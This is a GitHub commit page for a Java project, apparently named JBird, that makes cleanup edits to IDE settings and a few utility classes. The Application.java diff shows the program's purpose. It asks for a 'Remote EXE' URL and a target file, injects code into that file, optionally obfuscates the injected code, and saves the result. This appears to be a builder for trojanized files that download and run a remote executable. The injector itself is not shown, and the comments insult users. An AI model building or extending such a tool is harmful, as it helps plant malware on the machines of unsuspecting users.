Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse code

code cleanup <3

  • Loading branch information...
commit 8608b099840e89a1fa22affefed6d787cd23e293 1 parent 5e2a4eb
Eric Schoffstall authored
160 .idea/workspace.xml
@@ -2,31 +2,10 @@
2 2 <project version="4">
3 3 <component name="ChangeListManager">
4 4 <list default="true" id="3a893d62-f736-4332-8d0c-e49c42a3bf57" name="Default" comment="">
5   - <change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/.idea/artifacts/JBird_jar.xml" />
6   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\.idea\artifacts\Jaybird_jar.xml" afterPath="" />
7   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\Jaybird.iml" afterPath="" />
8   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\artifacts\Jaybird_jar\Jaybird.jar" afterPath="" />
9   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\Application.class" afterPath="" />
10   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\Injector.class" afterPath="" />
11   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\bcel\BCELMethods.class" afterPath="" />
12   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\bcel\JarLoader.class" afterPath="" />
13   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\Downloader.class" afterPath="" />
14   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\IO.class" afterPath="" />
15   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\LogHandler.class" afterPath="" />
16   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\Misc.class" afterPath="" />
17   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\Settings.class" afterPath="" />
18   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\UI$1.class" afterPath="" />
19   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\Jaybird\util\misc\UI.class" afterPath="" />
20   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\production\META-INF\MANIFEST.MF" afterPath="" />
21   - <change type="DELETED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\src\util\misc\Downloader.java" afterPath="" />
22   - <change type="MOVED" beforePath="C:\Users\Eric\Desktop\Projects\JBird\out\META-INF\MANIFEST.MF" afterPath="$PROJECT_DIR$/src/META-INF/MANIFEST.MF" />
23   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/.name" afterPath="$PROJECT_DIR$/.idea/.name" />
24   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/misc.xml" afterPath="$PROJECT_DIR$/.idea/misc.xml" />
25   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/modules.xml" afterPath="$PROJECT_DIR$/.idea/modules.xml" />
26   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/vcs.xml" afterPath="$PROJECT_DIR$/.idea/vcs.xml" />
27   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
28 5 <change type="MODIFICATION" beforePath="$PROJECT_DIR$/src/Application.java" afterPath="$PROJECT_DIR$/src/Application.java" />
29   - <change type="MODIFICATION" beforePath="$PROJECT_DIR$/src/util/misc/Settings.java" afterPath="$PROJECT_DIR$/src/util/misc/Settings.java" />
  6 + <change type="MODIFICATION" beforePath="$PROJECT_DIR$/src/util/misc/LogHandler.java" afterPath="$PROJECT_DIR$/src/util/misc/LogHandler.java" />
  7 + <change type="MODIFICATION" beforePath="$PROJECT_DIR$/src/util/misc/Misc.java" afterPath="$PROJECT_DIR$/src/util/misc/Misc.java" />
  8 + <change type="MODIFICATION" beforePath="$PROJECT_DIR$/src/util/misc/UI.java" afterPath="$PROJECT_DIR$/src/util/misc/UI.java" />
30 9 </list>
31 10 <ignored path="Jaybird.iws" />
32 11 <ignored path=".idea/workspace.xml" />
@@ -88,7 +67,7 @@
88 67 <file leaf-file-name="Application.java" pinned="false" current="true" current-in-tab="true">
89 68 <entry file="file://$PROJECT_DIR$/src/Application.java">
90 69 <provider selected="true" editor-type-id="text-editor">
91   - <state line="25" column="36" selection-start="841" selection-end="841" vertical-scroll-proportion="0.64491653">
  70 + <state line="20" column="33" selection-start="609" selection-end="609" vertical-scroll-proportion="0.5159332">
92 71 <folding>
93 72 <element signature="imports" expanded="true" />
94 73 </folding>
@@ -96,24 +75,6 @@
96 75 </provider>
97 76 </entry>
98 77 </file>
99   - <file leaf-file-name="Settings.java" pinned="false" current="false" current-in-tab="false">
100   - <entry file="file://$PROJECT_DIR$/src/util/misc/Settings.java">
101   - <provider selected="true" editor-type-id="text-editor">
102   - <state line="4" column="23" selection-start="113" selection-end="113" vertical-scroll-proportion="0.0">
103   - <folding />
104   - </state>
105   - </provider>
106   - </entry>
107   - </file>
108   - <file leaf-file-name="Network.java" pinned="false" current="false" current-in-tab="false">
109   - <entry file="file://$PROJECT_DIR$/src/util/misc/Network.java">
110   - <provider selected="true" editor-type-id="text-editor">
111   - <state line="9" column="84" selection-start="211" selection-end="211" vertical-scroll-proportion="0.0">
112   - <folding />
113   - </state>
114   - </provider>
115   - </entry>
116   - </file>
117 78 </leaf>
118 79 </component>
119 80 <component name="FindManager">
@@ -131,16 +92,16 @@
131 92 <option value="$PROJECT_DIR$/src/util/bcel/BCELMethods.java" />
132 93 <option value="$PROJECT_DIR$/src/util/bcel/JarLoader.java" />
133 94 <option value="$PROJECT_DIR$/src/Settings.java" />
134   - <option value="$PROJECT_DIR$/src/util/misc/LogHandler.java" />
135 95 <option value="$PROJECT_DIR$/src/trans/Injector.java" />
136 96 <option value="$PROJECT_DIR$/src/util/misc/Downloader.java" />
137   - <option value="$PROJECT_DIR$/src/util/misc/Misc.java" />
138 97 <option value="$PROJECT_DIR$/src/util/misc/IO.java" />
139   - <option value="$PROJECT_DIR$/src/util/misc/UI.java" />
140 98 <option value="$PROJECT_DIR$/src/Injector.java" />
141 99 <option value="$PROJECT_DIR$/src/util/misc/Network.java" />
142 100 <option value="$PROJECT_DIR$/src/util/misc/Settings.java" />
143 101 <option value="$PROJECT_DIR$/src/Application.java" />
  102 + <option value="$PROJECT_DIR$/src/util/misc/LogHandler.java" />
  103 + <option value="$PROJECT_DIR$/src/util/misc/Misc.java" />
  104 + <option value="$PROJECT_DIR$/src/util/misc/UI.java" />
144 105 </list>
145 106 </option>
146 107 </component>
@@ -210,46 +171,6 @@
210 171 <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
211 172 </PATH_ELEMENT>
212 173 </PATH>
213   - <PATH>
214   - <PATH_ELEMENT>
215   - <option name="myItemId" value="JBird" />
216   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
217   - </PATH_ELEMENT>
218   - <PATH_ELEMENT>
219   - <option name="myItemId" value="JBird" />
220   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
221   - </PATH_ELEMENT>
222   - <PATH_ELEMENT>
223   - <option name="myItemId" value="src" />
224   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
225   - </PATH_ELEMENT>
226   - <PATH_ELEMENT>
227   - <option name="myItemId" value="util" />
228   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
229   - </PATH_ELEMENT>
230   - <PATH_ELEMENT>
231   - <option name="myItemId" value="misc" />
232   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
233   - </PATH_ELEMENT>
234   - </PATH>
235   - <PATH>
236   - <PATH_ELEMENT>
237   - <option name="myItemId" value="JBird" />
238   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
239   - </PATH_ELEMENT>
240   - <PATH_ELEMENT>
241   - <option name="myItemId" value="JBird" />
242   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
243   - </PATH_ELEMENT>
244   - <PATH_ELEMENT>
245   - <option name="myItemId" value="src" />
246   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
247   - </PATH_ELEMENT>
248   - <PATH_ELEMENT>
249   - <option name="myItemId" value="util" />
250   - <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
251   - </PATH_ELEMENT>
252   - </PATH>
253 174 </subPane>
254 175 </pane>
255 176 <pane id="Scope" />
@@ -445,7 +366,7 @@
445 366 <window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
446 367 <window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" weight="0.3288426" sideWeight="0.76391983" order="0" side_tool="false" content_ui="tabs" />
447 368 <window_info id="Dependency Viewer" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
448   - <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" weight="0.23608018" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
  369 + <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.23608018" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
449 370 <window_info id="Regex" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
450 371 <window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
451 372 <window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
@@ -491,70 +412,89 @@
491 412 <option name="FILTER_TARGETS" value="false" />
492 413 </component>
493 414 <component name="editorHistoryManager">
494   - <entry file="file://$PROJECT_DIR$/src/util/bcel/JarLoader.java">
  415 + <entry file="file://$PROJECT_DIR$/src/util/misc/IO.java">
495 416 <provider selected="true" editor-type-id="text-editor">
496   - <state line="6" column="24" selection-start="223" selection-end="223" vertical-scroll-proportion="0.0" />
  417 + <state line="33" column="22" selection-start="913" selection-end="913" vertical-scroll-proportion="0.775076" />
497 418 </provider>
498 419 </entry>
499   - <entry file="file://$PROJECT_DIR$/src/util/misc/LogHandler.java">
  420 + <entry file="jar://C:/Program Files/Java/jdk1.6.0_22/src.zip!/java/io/InputStreamReader.java">
500 421 <provider selected="true" editor-type-id="text-editor">
501   - <state line="15" column="12" selection-start="295" selection-end="295" vertical-scroll-proportion="0.41062802" />
  422 + <state line="44" column="13" selection-start="1351" selection-end="1399" vertical-scroll-proportion="0.33295062" />
502 423 </provider>
503 424 </entry>
504   - <entry file="file://$PROJECT_DIR$/src/util/misc/Misc.java">
  425 + <entry file="file://$PROJECT_DIR$/src/Injector.java">
505 426 <provider selected="true" editor-type-id="text-editor">
506   - <state line="7" column="10" selection-start="148" selection-end="148" vertical-scroll-proportion="0.13662457" />
  427 + <state line="40" column="33" selection-start="1607" selection-end="1607" vertical-scroll-proportion="0.6736597" />
507 428 </provider>
508 429 </entry>
509   - <entry file="file://$PROJECT_DIR$/src/util/misc/IO.java">
  430 + <entry file="file://$PROJECT_DIR$/JBird.iml">
510 431 <provider selected="true" editor-type-id="text-editor">
511   - <state line="33" column="22" selection-start="913" selection-end="913" vertical-scroll-proportion="0.775076" />
  432 + <state line="4" column="72" selection-start="214" selection-end="214" vertical-scroll-proportion="0.078071184">
  433 + <folding />
  434 + </state>
512 435 </provider>
513 436 </entry>
514   - <entry file="file://$PROJECT_DIR$/src/util/bcel/BCELMethods.java">
  437 + <entry file="file://$PROJECT_DIR$/src/util/misc/Settings.java">
515 438 <provider selected="true" editor-type-id="text-editor">
516   - <state line="0" column="0" selection-start="0" selection-end="0" vertical-scroll-proportion="0.0" />
  439 + <state line="6" column="27" selection-start="176" selection-end="176" vertical-scroll-proportion="0.15477997">
  440 + <folding />
  441 + </state>
517 442 </provider>
518 443 </entry>
519   - <entry file="jar://C:/Program Files/Java/jdk1.6.0_22/src.zip!/java/io/InputStreamReader.java">
  444 + <entry file="file://$PROJECT_DIR$/src/util/misc/Network.java">
520 445 <provider selected="true" editor-type-id="text-editor">
521   - <state line="44" column="13" selection-start="1351" selection-end="1399" vertical-scroll-proportion="0.33295062" />
  446 + <state line="12" column="74" selection-start="452" selection-end="452" vertical-scroll-proportion="0.23216996">
  447 + <folding />
  448 + </state>
522 449 </provider>
523 450 </entry>
524   - <entry file="file://$PROJECT_DIR$/src/Injector.java">
  451 + <entry file="jar://C:/Program Files/Java/jdk1.6.0_22/src.zip!/java/lang/System.java">
525 452 <provider selected="true" editor-type-id="text-editor">
526   - <state line="40" column="33" selection-start="1607" selection-end="1607" vertical-scroll-proportion="0.6736597" />
  453 + <state line="36" column="19" selection-start="1183" selection-end="1183" vertical-scroll-proportion="0.3323217">
  454 + <folding />
  455 + </state>
527 456 </provider>
528 457 </entry>
529   - <entry file="file://$PROJECT_DIR$/src/util/misc/UI.java">
  458 + <entry file="file://$PROJECT_DIR$/src/util/misc/LogHandler.java">
530 459 <provider selected="true" editor-type-id="text-editor">
531   - <state line="18" column="41" selection-start="590" selection-end="590" vertical-scroll-proportion="0.31228474" />
  460 + <state line="23" column="19" selection-start="447" selection-end="447" vertical-scroll-proportion="0.59332323">
  461 + <folding />
  462 + </state>
532 463 </provider>
533 464 </entry>
534   - <entry file="file://$PROJECT_DIR$/JBird.iml">
  465 + <entry file="file://$PROJECT_DIR$/src/util/misc/Misc.java">
535 466 <provider selected="true" editor-type-id="text-editor">
536   - <state line="4" column="72" selection-start="214" selection-end="214" vertical-scroll-proportion="0.078071184">
  467 + <state line="11" column="47" selection-start="393" selection-end="393" vertical-scroll-proportion="0.2837633">
537 468 <folding />
538 469 </state>
539 470 </provider>
540 471 </entry>
541   - <entry file="file://$PROJECT_DIR$/src/util/misc/Settings.java">
  472 + <entry file="file://$PROJECT_DIR$/src/util/misc/UI.java">
542 473 <provider selected="true" editor-type-id="text-editor">
543   - <state line="4" column="23" selection-start="113" selection-end="113" vertical-scroll-proportion="0.0">
  474 + <state line="30" column="32" selection-start="919" selection-end="919" vertical-scroll-proportion="0.6707132">
544 475 <folding />
545 476 </state>
546 477 </provider>
547 478 </entry>
548   - <entry file="file://$PROJECT_DIR$/src/util/misc/Network.java">
  479 + <entry file="file://$PROJECT_DIR$/src/util/bcel/BCELMethods.java">
549 480 <provider selected="true" editor-type-id="text-editor">
550   - <state line="9" column="84" selection-start="211" selection-end="211" vertical-scroll-proportion="0.0">
  481 + <state line="113" column="19" selection-start="4252" selection-end="4252" vertical-scroll-proportion="0.28072837">
551 482 <folding />
552 483 </state>
553 484 </provider>
554 485 </entry>
  486 + <entry file="file://$PROJECT_DIR$/src/util/bcel/JarLoader.java">
  487 + <provider selected="true" editor-type-id="text-editor">
  488 + <state line="68" column="116" selection-start="2698" selection-end="2698" vertical-scroll-proportion="0.35508347">
  489 + <folding>
  490 + <element signature="imports" expanded="true" />
  491 + </folding>
  492 + </state>
  493 + </provider>
  494 + </entry>
555 495 <entry file="file://$PROJECT_DIR$/src/Application.java">
556 496 <provider selected="true" editor-type-id="text-editor">
557   - <state line="25" column="36" selection-start="841" selection-end="841" vertical-scroll-proportion="0.64491653">
  497 + <state line="20" column="33" selection-start="609" selection-end="609" vertical-scroll-proportion="0.5159332">
558 498 <folding>
559 499 <element signature="imports" expanded="true" />
560 500 </folding>
BIN  out/artifacts/JBird_jar/JBird.jar
Binary file not shown
BIN  out/production/JBird/Application.class
Binary file not shown
BIN  out/production/JBird/util/misc/LogHandler.class
Binary file not shown
BIN  out/production/JBird/util/misc/Misc.class
Binary file not shown
BIN  out/production/JBird/util/misc/UI$1.class
Binary file not shown
BIN  out/production/JBird/util/misc/UI.class
Binary file not shown
10 src/Application.java
@@ -19,7 +19,9 @@ public static void main(String[] args) {
19 19 String obinput;
20 20 String appinput;
21 21
22   - if (args.length > 0) close("Don't try to use the command line shithead");
  22 + if (args.length > 0) {
  23 + close("Don't try to use the command line shithead");
  24 + }
23 25
24 26 /* STUPID FUCKING USER INPUT FOR NOOB DUMBASSES */
25 27 url = JOptionPane.showInputDialog("Remote EXE:", "http://example.com/test.exe");
@@ -39,13 +41,15 @@ public static void main(String[] args) {
39 41 obinput = UI.getComboInput(obchoices, "Obfuscation", "Would you like to obfuscate injected code?");
40 42 obfuscate = obinput != null && !obinput.equals(obchoices[1]);
41 43
42   - if ((file == null) || (url == null) || (appinput == null) || (obinput == null)) {
  44 + if (file == null || url == null || appinput == null || obinput == null) {
43 45 close("Missing input. Please fill in all fields appropriately.");
44 46 }
45 47 Injector inf = new Injector(file, url, mname);
46 48 inf.load();
47 49 inf.inject();
48   - if (obfuscate) inf.obfuscate();
  50 + if (obfuscate) {
  51 + inf.obfuscate();
  52 + }
49 53 inf.save();
50 54 close("Process Completed!");
51 55 }
8 src/util/misc/LogHandler.java
... ... @@ -1,5 +1,7 @@
1 1 package util.misc;
2 2
  3 +import static util.misc.Settings.*;
  4 +
3 5 public class LogHandler {
4 6
5 7 private final String Name;
@@ -13,12 +15,12 @@ public void log(String msg) {
13 15 }
14 16
15 17 public void debug(String msg) {
16   - if (Settings.DEBUG) {
17   - System.out.println("[" + Name + "]" + "[DEBUG]" + msg);
  18 + if (DEBUG) {
  19 + log("[DEBUG]" + msg);
18 20 }
19 21 }
20 22
21 23 public void error(String msg) {
22   - System.out.println("[" + Name + "]" + "[ERROR]" + msg);
  24 + log("[ERROR]" + msg);
23 25 }
24 26 }
13 src/util/misc/Misc.java
@@ -5,22 +5,21 @@
5 5 public class Misc {
6 6
7 7 public static String getRandomString(int length, boolean simple) {
8   - //simple = true;
9   - if (!simple) {
  8 + if (simple) {
  9 + String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
10 10 Random rand = new Random();
11 11 StringBuffer sb = new StringBuffer();
12 12 for (int i = 0; i < length; i++) {
13   - sb.append(new char[rand.nextInt(255)]);
  13 + sb.append(charset.charAt(rand.nextInt(charset.length())));
14 14 }
15   - return sb.toString();
  15 + return sb.toString() + rand.nextInt(20);
16 16 } else {
17   - String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
18 17 Random rand = new Random();
19 18 StringBuffer sb = new StringBuffer();
20 19 for (int i = 0; i < length; i++) {
21   - sb.append(charset.charAt(rand.nextInt(charset.length())));
  20 + sb.append(new char[rand.nextInt(255)]);
22 21 }
23   - return sb.toString() + rand.nextInt(20);
  22 + return sb.toString();
24 23 }
25 24 }
26 25 }
4 src/util/misc/UI.java
@@ -4,6 +4,8 @@
4 4 import javax.swing.filechooser.FileFilter;
5 5 import java.io.File;
6 6
  7 +import static util.misc.IO.getExtension;
  8 +
7 9 public class UI {
8 10
9 11 public static String getComboInput(String[] options, String title, String comment) {
@@ -19,7 +21,7 @@ public boolean accept(File f) {
19 21 if (f.isDirectory()) {
20 22 return true;
21 23 }
22   - String extens = IO.getExtension(f);
  24 + String extens = getExtension(f);
23 25 if (extens != null) {
24 26 return extens.equals(extension);
25 27 }

0 comments on commit 8608b09

Please sign in to comment.
Something went wrong with that request. Please try again.